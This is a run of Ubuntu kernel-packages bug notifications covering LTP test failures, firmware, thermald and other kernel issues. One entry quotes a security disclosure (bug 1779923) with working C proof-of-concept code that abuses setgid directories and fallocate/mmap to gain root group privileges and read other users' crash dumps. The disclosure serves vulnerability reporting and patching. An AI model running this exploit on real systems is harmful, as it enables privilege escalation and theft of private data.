[Kernel-packages] [Bug 1950239] Missing required logs.
This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1950239 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950239 Title: creat09 from ubuntu_ltp_syscalls and cve-2018-13405 from ubuntu_ltp/cve failed with XFS Status in ubuntu-kernel-tests: New Status in linux package in Ubuntu: Incomplete Bug description: These two tests, creat09 from ubuntu_ltp_syscalls and cve-2018-13405 from ubuntu_ltp/cve are actually the same test. Issue found on F-oem-5.10.0-1051.53 With LTP upstream head SHA1 2ac54d426 This is not a regression, it's because of a recent update that enables this test on different filesystems: https://github.com/linux-test-project/ltp/commit/433b6cf7ade3d5e3bd4b85ac89b164c53312e65a Test failed on XFS with: tst_test.c:1431: TINFO: Testing on xfs tst_test.c:932: TINFO: Formatting /dev/loop3 with xfs opts='' extra opts='' tst_test.c:1363: TINFO: Timeout per run is 0h 05m 00s creat09.c:55: TINFO: User nobody: uid = 65534, gid = 65534 creat09.c:57: TINFO: Found unused GID 11: SUCCESS (0) creat09.c:88: TPASS: mntpoint/testdir/creat.tmp: Owned by correct group creat09.c:92: TFAIL: mntpoint/testdir/creat.tmp: Setgid bit is set creat09.c:88: TPASS: mntpoint/testdir/open.tmp: Owned by correct group creat09.c:92: TFAIL: mntpoint/testdir/open.tmp: Setgid bit is set Test log: Checking for required user/group ids 'nobody' user id and group found. 'bin' user id and group found. 'daemon' user id and group found. Users group found. Sys group found. Required users/groups exist. no big block device was specified on commandline. Tests which require a big block device are disabled. You can specify it with option -z INFO: Test start time: Mon Nov 8 10:00:06 UTC 2021 COMMAND:/opt/ltp/bin/ltp-pan -q -e -S -a 61758 -n 61758 -f /tmp/ltp-shLYORuoRT/alltests -l /dev/null -C /dev/null -T /dev/null LOG File: /dev/null FAILED COMMAND File: /dev/null TCONF COMMAND File: /dev/null Running tests... tst_device.c:88: TINFO: Found free device 3 '/dev/loop3' tst_supported_fs_types.c:88: TINFO: Kernel supports ext2 tst_supported_fs_types.c:50: TINFO: mkfs.ext2 does exist tst_supported_fs_types.c:88: TINFO: Kernel supports ext3 tst_supported_fs_types.c:50: TINFO: mkfs.ext3 does exist tst_supported_fs_types.c:88: TINFO: Kernel supports ext4 tst_supported_fs_types.c:50: TINFO: mkfs.ext4 does exist tst_supported_fs_types.c:88: TINFO: Kernel supports xfs tst_supported_fs_types.c:50: TINFO: mkfs.xfs does exist tst_supported_fs_types.c:88: TINFO: Kernel supports btrfs tst_supported_fs_types.c:50: TINFO: mkfs.btrfs does exist tst_supported_fs_types.c:146: TINFO: Skipping vfat as requested by the test tst_supported_fs_types.c:146: TINFO: Skipping exfat as requested by the test tst_supported_fs_types.c:88: TINFO: Kernel supports tmpfs tst_supported_fs_types.c:37: TINFO: mkfs is not needed for tmpfs tst_test.c:1431: TINFO: Testing on ext2 tst_test.c:932: TINFO: Formatting /dev/loop3 with ext2 opts='' extra opts='' mke2fs 1.45.5 (07-Jan-2020) tst_test.c:1363: TINFO: Timeout per run is 0h 05m 00s creat09.c:55: TINFO: User nobody: uid = 65534, gid = 65534 creat09.c:57: TINFO: Found unused GID 11: SUCCESS (0) creat09.c:88: TPASS: mntpoint/testdir/creat.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/creat.tmp: Setgid bit not set creat09.c:88: TPASS: mntpoint/testdir/open.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/open.tmp: Setgid bit not set tst_test.c:1431: TINFO: Testing on ext3 tst_test.c:932: TINFO: Formatting /dev/loop3 with ext3 opts='' extra opts='' mke2fs 1.45.5 (07-Jan-2020) tst_test.c:1363: TINFO: Timeout per run is 0h 05m 00s creat09.c:55: TINFO: User nobody: uid = 65534, gid = 65534 creat09.c:57: TINFO: Found unused GID 11: SUCCESS (0) creat09.c:88: TPASS: mntpoint/testdir/creat.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/creat.tmp: Setgid bit not set creat09.c:88: TPASS: mntpoint/testdir/open.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/open.tmp: Setgid bit not set tst_test.c:1431: TINFO: Testing on ext4 tst_test.c:932: TINFO: Formatting /dev/loop3 with ext4 opts='' extra opts='' mke2fs 1.45.5 (07-Jan-2020) tst_test.c:1363: TINFO:
[Kernel-packages] [Bug 1950239] Re: creat09 from ubuntu_ltp_syscalls and cve-2018-13405 from ubuntu_ltp/cve failed with XFS
** Also affects: linux (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950239 Title: creat09 from ubuntu_ltp_syscalls and cve-2018-13405 from ubuntu_ltp/cve failed with XFS Status in ubuntu-kernel-tests: New Status in linux package in Ubuntu: New Bug description: These two tests, creat09 from ubuntu_ltp_syscalls and cve-2018-13405 from ubuntu_ltp/cve are actually the same test. Issue found on F-oem-5.10.0-1051.53 With LTP upstream head SHA1 2ac54d426 This is not a regression, it's because of a recent update that enables this test on different filesystems: https://github.com/linux-test-project/ltp/commit/433b6cf7ade3d5e3bd4b85ac89b164c53312e65a Test failed on XFS with: tst_test.c:1431: TINFO: Testing on xfs tst_test.c:932: TINFO: Formatting /dev/loop3 with xfs opts='' extra opts='' tst_test.c:1363: TINFO: Timeout per run is 0h 05m 00s creat09.c:55: TINFO: User nobody: uid = 65534, gid = 65534 creat09.c:57: TINFO: Found unused GID 11: SUCCESS (0) creat09.c:88: TPASS: mntpoint/testdir/creat.tmp: Owned by correct group creat09.c:92: TFAIL: mntpoint/testdir/creat.tmp: Setgid bit is set creat09.c:88: TPASS: mntpoint/testdir/open.tmp: Owned by correct group creat09.c:92: TFAIL: mntpoint/testdir/open.tmp: Setgid bit is set Test log: Checking for required user/group ids 'nobody' user id and group found. 'bin' user id and group found. 'daemon' user id and group found. Users group found. Sys group found. Required users/groups exist. no big block device was specified on commandline. Tests which require a big block device are disabled. You can specify it with option -z INFO: Test start time: Mon Nov 8 10:00:06 UTC 2021 COMMAND:/opt/ltp/bin/ltp-pan -q -e -S -a 61758 -n 61758 -f /tmp/ltp-shLYORuoRT/alltests -l /dev/null -C /dev/null -T /dev/null LOG File: /dev/null FAILED COMMAND File: /dev/null TCONF COMMAND File: /dev/null Running tests... tst_device.c:88: TINFO: Found free device 3 '/dev/loop3' tst_supported_fs_types.c:88: TINFO: Kernel supports ext2 tst_supported_fs_types.c:50: TINFO: mkfs.ext2 does exist tst_supported_fs_types.c:88: TINFO: Kernel supports ext3 tst_supported_fs_types.c:50: TINFO: mkfs.ext3 does exist tst_supported_fs_types.c:88: TINFO: Kernel supports ext4 tst_supported_fs_types.c:50: TINFO: mkfs.ext4 does exist tst_supported_fs_types.c:88: TINFO: Kernel supports xfs tst_supported_fs_types.c:50: TINFO: mkfs.xfs does exist tst_supported_fs_types.c:88: TINFO: Kernel supports btrfs tst_supported_fs_types.c:50: TINFO: mkfs.btrfs does exist tst_supported_fs_types.c:146: TINFO: Skipping vfat as requested by the test tst_supported_fs_types.c:146: TINFO: Skipping exfat as requested by the test tst_supported_fs_types.c:88: TINFO: Kernel supports tmpfs tst_supported_fs_types.c:37: TINFO: mkfs is not needed for tmpfs tst_test.c:1431: TINFO: Testing on ext2 tst_test.c:932: TINFO: Formatting /dev/loop3 with ext2 opts='' extra opts='' mke2fs 1.45.5 (07-Jan-2020) tst_test.c:1363: TINFO: Timeout per run is 0h 05m 00s creat09.c:55: TINFO: User nobody: uid = 65534, gid = 65534 creat09.c:57: TINFO: Found unused GID 11: SUCCESS (0) creat09.c:88: TPASS: mntpoint/testdir/creat.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/creat.tmp: Setgid bit not set creat09.c:88: TPASS: mntpoint/testdir/open.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/open.tmp: Setgid bit not set tst_test.c:1431: TINFO: Testing on ext3 tst_test.c:932: TINFO: Formatting /dev/loop3 with ext3 opts='' extra opts='' mke2fs 1.45.5 (07-Jan-2020) tst_test.c:1363: TINFO: Timeout per run is 0h 05m 00s creat09.c:55: TINFO: User nobody: uid = 65534, gid = 65534 creat09.c:57: TINFO: Found unused GID 11: SUCCESS (0) creat09.c:88: TPASS: mntpoint/testdir/creat.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/creat.tmp: Setgid bit not set creat09.c:88: TPASS: mntpoint/testdir/open.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/open.tmp: Setgid bit not set tst_test.c:1431: TINFO: Testing on ext4 tst_test.c:932: TINFO: Formatting /dev/loop3 with ext4 opts='' extra opts='' mke2fs 1.45.5 (07-Jan-2020) tst_test.c:1363: TINFO: Timeout per run is 0h 05m 00s creat09.c:55: TINFO: User nobody: uid = 65534, gid = 65534 creat09.c:57: TINFO: Found unused GID 11: SUCCESS (0) creat09.c:88: TPASS: mntpoint/testdir/creat.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/creat.tmp: Setgid bit not set creat09.c:88: TPASS: mntpoint/testdir/open.tmp: Owned by correct group creat09.c:94: TPASS: mntpoint/testdir/open.tmp: Setgid bit not set tst_test.c:1431: TINFO: Testing on xfs tst_test.c:932: TINFO: Formatting /dev/loop3 with xfs opts=''
[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass
** Changed in: linux (Ubuntu Cosmic)
Status: In Progress => Won't Fix
** Changed in: linux (Ubuntu)
Status: In Progress => Fix Released
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779923
Title:
other users' coredumps can be read via setgid directory and killpriv
bypass
Status in linux package in Ubuntu:
Fix Released
Status in linux source package in Trusty:
Fix Released
Status in linux source package in Xenial:
Fix Released
Status in linux source package in Bionic:
Fix Released
Status in linux source package in Cosmic:
Won't Fix
Bug description:
Note: I am both sending this bug report to secur...@kernel.org and filing it
in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.
I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:
=
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=
Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/
"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid
directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/
However, as far as I can tell, neither of them actually landed.
You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
):
=
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd,
0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
close(src_fd);
execl("./dir/file", "id", NULL);
err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=
sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:
=
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r- 1 user whoopsie 16527 Jun 25 22:27
_usr_bin_apport-unpack.1000.crash
-rw-r- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
if (argc != 2) {
printf("usage: ./fallocate ");
return 1;
[Kernel-packages] [Bug 1887391] Re: groovy/linux-raspi: Upstream raspberrypi patchset 2020-07-07
** Changed in: linux-raspi (Ubuntu Groovy) Status: Confirmed => Invalid ** Changed in: linux-raspi (Ubuntu) Status: Confirmed => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-raspi in Ubuntu. https://bugs.launchpad.net/bugs/1887391 Title: groovy/linux-raspi: Upstream raspberrypi patchset 2020-07-07 Status in linux-raspi package in Ubuntu: Invalid Status in linux-raspi source package in Groovy: Invalid Bug description: Upstream raspberrypi patchset 2020-07-07 Ported from the following raspberrypi branch: rpi-5.7.y from https://github.com/raspberrypi/linux.git To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-raspi/+bug/1887391/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1896950] Re: d2020.09.22 cycle tracker
** Changed in: linux-raspi (Ubuntu) Status: New => Invalid ** Changed in: linux-raspi (Ubuntu Groovy) Status: New => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-kvm in Ubuntu. https://bugs.launchpad.net/bugs/1896950 Title: d2020.09.22 cycle tracker Status in linux package in Ubuntu: Confirmed Status in linux-aws package in Ubuntu: New Status in linux-azure package in Ubuntu: New Status in linux-gcp package in Ubuntu: New Status in linux-kvm package in Ubuntu: New Status in linux-oracle package in Ubuntu: New Status in linux-raspi package in Ubuntu: Invalid Status in linux-riscv package in Ubuntu: New Status in linux source package in Groovy: Won't Fix Status in linux-aws source package in Groovy: New Status in linux-azure source package in Groovy: New Status in linux-gcp source package in Groovy: New Status in linux-kvm source package in Groovy: New Status in linux-oracle source package in Groovy: New Status in linux-raspi source package in Groovy: Invalid Status in linux-riscv source package in Groovy: New Bug description: This bug is a cycle tracking bug for the d2020.09.22 development cycle. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1896950/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950144] Re: [UBUNTU 20.04] kernel: unable to read partitions on virtio-block dasd (kvm)
The following PPA contains cross-platform (s390x, ppc64el, arm64 and amd64) test builds for kernels 5.13/impish, 5.11/hirsute and 5.4/focal: https://launchpad.net/~fheimes/+archive/ubuntu/lp1950144/ -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950144 Title: [UBUNTU 20.04] kernel: unable to read partitions on virtio-block dasd (kvm) Status in Ubuntu on IBM z Systems: Triaged Status in linux package in Ubuntu: Fix Released Status in linux source package in Focal: New Status in linux source package in Hirsute: New Status in linux source package in Impish: New Status in linux source package in Jammy: Fix Released Bug description: Description: kernel: unable to read partitions on virtio-block dasd (kvm) Symptom: unable to read partitions on virtio-block dasd (kvm) Problem: verify is called before virtio_finalize_features() , so a transitional s390 virtio device still serves native endian (i.e. big endian) config space, while the driver knows that it is going to accept VERSION_1, so when reading the config space, it assumes it got little endian, and byteswaps. Solution: For QEMU, we can work around the issue by writing out the feature bits with VIRTIO_F_VERSION_1 bit set. We (ab)use the finalize_features config op for this. This isn't enough to address all vhost devices since these do not get the features until FEATURES_OK, however it looks like the affected devices actually never handled the endianness for legacy mode correctly, so at least that's not a regression. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1950144/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1940485] Re: thermald often limits CPU frequency while on AC
Aha! Launchpad was OOPSing when I tried to upload the gzipped tarball, but I've successfully uploaded the files as a zstd-compressed tarball. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to thermald in Ubuntu. https://bugs.launchpad.net/bugs/1940485 Title: thermald often limits CPU frequency while on AC Status in thermald package in Ubuntu: Incomplete Bug description: I'm not entirely sure if this is a thermald issue, but on my laptop (Dell XPS 15" 2-in-1) I find that the CPU frequency, under load on AC, is often throttled to 2.5GHz rather than the base 3.1GHz or 3.8GHz turbo frequency. Restarting thermald (with `systemctl restart thermald`) will let the system scale up to the expected ~3.8GHz boost frequency. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: thermald 2.4.6-1 ProcVersionSignature: Ubuntu 5.11.0-20.21+21.10.1-generic 5.11.21 Uname: Linux 5.11.0-20-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu67 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Thu Aug 19 09:24:56 2021 InstallationDate: Installed on 2021-06-26 (53 days ago) InstallationMedia: Ubuntu 21.10.0 2021.05.28 amd64 "bcachefs" (20210622) SourcePackage: thermald UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/thermald/+bug/1940485/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1940485] Re: thermald often limits CPU frequency while on AC
** Attachment added: "thermald debug script output" https://bugs.launchpad.net/ubuntu/+source/thermald/+bug/1940485/+attachment/5539066/+files/try-again.tar.zstd -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to thermald in Ubuntu. https://bugs.launchpad.net/bugs/1940485 Title: thermald often limits CPU frequency while on AC Status in thermald package in Ubuntu: Incomplete Bug description: I'm not entirely sure if this is a thermald issue, but on my laptop (Dell XPS 15" 2-in-1) I find that the CPU frequency, under load on AC, is often throttled to 2.5GHz rather than the base 3.1GHz or 3.8GHz turbo frequency. Restarting thermald (with `systemctl restart thermald`) will let the system scale up to the expected ~3.8GHz boost frequency. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: thermald 2.4.6-1 ProcVersionSignature: Ubuntu 5.11.0-20.21+21.10.1-generic 5.11.21 Uname: Linux 5.11.0-20-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu67 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Thu Aug 19 09:24:56 2021 InstallationDate: Installed on 2021-06-26 (53 days ago) InstallationMedia: Ubuntu 21.10.0 2021.05.28 amd64 "bcachefs" (20210622) SourcePackage: thermald UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/thermald/+bug/1940485/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950250] [NEW] Ubuntu MATE 20.04.3 something is Caja is badly broken
Public bug reported: Caja is part of the Ubuntu MATE package but apparently unsupported. Caja after the latest update takes minutes to open a menu and it takes 3 times to open files with Eye of MATE. Nautilus has similar problems but is not as slow. But then it crashes. How do I get Caja fixed? ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.11.0-38-generic 5.11.0-38.42~20.04.1 ProcVersionSignature: Ubuntu 5.11.0-38.42~20.04.1-generic 5.11.22 Uname: Linux 5.11.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: MATE Date: Tue Nov 9 00:43:41 2021 SourcePackage: linux-signed-hwe-5.11 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: linux-signed-hwe-5.11 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-signed-hwe-5.11 in Ubuntu. https://bugs.launchpad.net/bugs/1950250 Title: Ubuntu MATE 20.04.3 something is Caja is badly broken Status in linux-signed-hwe-5.11 package in Ubuntu: New Bug description: Caja is part of the Ubuntu MATE package but apparently unsupported. Caja after the latest update takes minutes to open a menu and it takes 3 times to open files with Eye of MATE. Nautilus has similar problems but is not as slow. But then it crashes. How do I get Caja fixed? ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.11.0-38-generic 5.11.0-38.42~20.04.1 ProcVersionSignature: Ubuntu 5.11.0-38.42~20.04.1-generic 5.11.22 Uname: Linux 5.11.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: MATE Date: Tue Nov 9 00:43:41 2021 SourcePackage: linux-signed-hwe-5.11 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-signed-hwe-5.11/+bug/1950250/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1940485] Re: thermald often limits CPU frequency while on AC
@Chris, could you upload the log? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to thermald in Ubuntu. https://bugs.launchpad.net/bugs/1940485 Title: thermald often limits CPU frequency while on AC Status in thermald package in Ubuntu: Incomplete Bug description: I'm not entirely sure if this is a thermald issue, but on my laptop (Dell XPS 15" 2-in-1) I find that the CPU frequency, under load on AC, is often throttled to 2.5GHz rather than the base 3.1GHz or 3.8GHz turbo frequency. Restarting thermald (with `systemctl restart thermald`) will let the system scale up to the expected ~3.8GHz boost frequency. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: thermald 2.4.6-1 ProcVersionSignature: Ubuntu 5.11.0-20.21+21.10.1-generic 5.11.21 Uname: Linux 5.11.0-20-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu67 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Thu Aug 19 09:24:56 2021 InstallationDate: Installed on 2021-06-26 (53 days ago) InstallationMedia: Ubuntu 21.10.0 2021.05.28 amd64 "bcachefs" (20210622) SourcePackage: thermald UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/thermald/+bug/1940485/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1933938] Re: Missing CNVi firmware for Intel AX211/AX201/9560/9462 on ADL-S/ADL-P
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1933938 Title: Missing CNVi firmware for Intel AX211/AX201/9560/9462 on ADL-S/ADL-P Status in HWE Next: New Status in intel: New Status in linux package in Ubuntu: In Progress Status in linux-firmware package in Ubuntu: Fix Released Status in linux-oem-5.13 package in Ubuntu: Invalid Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux source package in Focal: Won't Fix Status in linux-firmware source package in Focal: Fix Released Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Status in linux source package in Impish: In Progress Status in linux-firmware source package in Impish: Fix Released Status in linux-oem-5.13 source package in Impish: Invalid Status in linux-oem-5.14 source package in Impish: Invalid Bug description: [SRU Justfication] [Impact] Intel CNVi moves key elements of Wi-Fi and Bluetooth Technology into Intel processors. As a result, their driver may have to be revised across processor generations. [Fix] This depends on a few changes set to address all issues on supporting: * PCI [8086:7af0] Subsystem [8086:4090] (AX211) * WiFi: iwlwifi-so-a0-gf-a0-* * BT: intel/ibt-1040-0041.* (ADL-S) * BT: intel/ibt-0040-0041.* (ADL-P) * PCI [8086:7af0] Subsystem [8086:4070] (AX201) * WiFi: iwlwifi-so-a0-hr-b0-* * BT: intel/ibt-1040-4150.* * BT: intel/ibt-0040-4150.* * PCI [8086:7af0] Subsystem [8086:0aaa] (9462) * WiFi: iwlwifi-so-a0-jf-b0-* * BT: intel/ibt-1040-1020.* AX201 wifi firmware for ADL platforms will be available with FW API >= 64, so a patchset "iwlwifi: bump FW API to 64 for AX devices" will be required. Depending fixes are pulled as well. For reset of them, 3 additional commits for iwlwifi, also in mainline now, are required. The last patch for 9462 Bluetooth is still under review at the time of writing. This is the only patch that is not yet in unstable. [Test Case] Install these CRF on ADL-S/ADL-P platforms and check if WiFi/Bluetooth is working. [Where problems could occur] While this is a new generation, we may have common issues like power consumption, network throughput, suspend/resume issues. [Other Info] Intel is to release the corresponding firmware blobs next week. These are verified with pre-released firmware. == original bug report == * PCI [8086:7af0] Subsystem [8086:4090] (AX211) * WiFi: iwlwifi-so-a0-gf-a0-* * BT: intel/ibt-1040-0041.sfi * PCI [8086:7af0] Subsystem [8086:4070] (AX201) * WiFi: iwlwifi-so-a0-hr-b0-* * BT: ibt-1040-4150.sfi * PCI [8086:7af0] Subsystem [8086:0264] (9462) * WiFi: iwlwifi-so-a0-jf-b0-* * BT: intel/ibt-1040-1020.* * BT: intel/ibt-0040-1020.* To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1933938/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1942994] Re: [SRU][OEM-5.13/OEM-5.14/U] Fix mt7921e wifi timeout error after resume
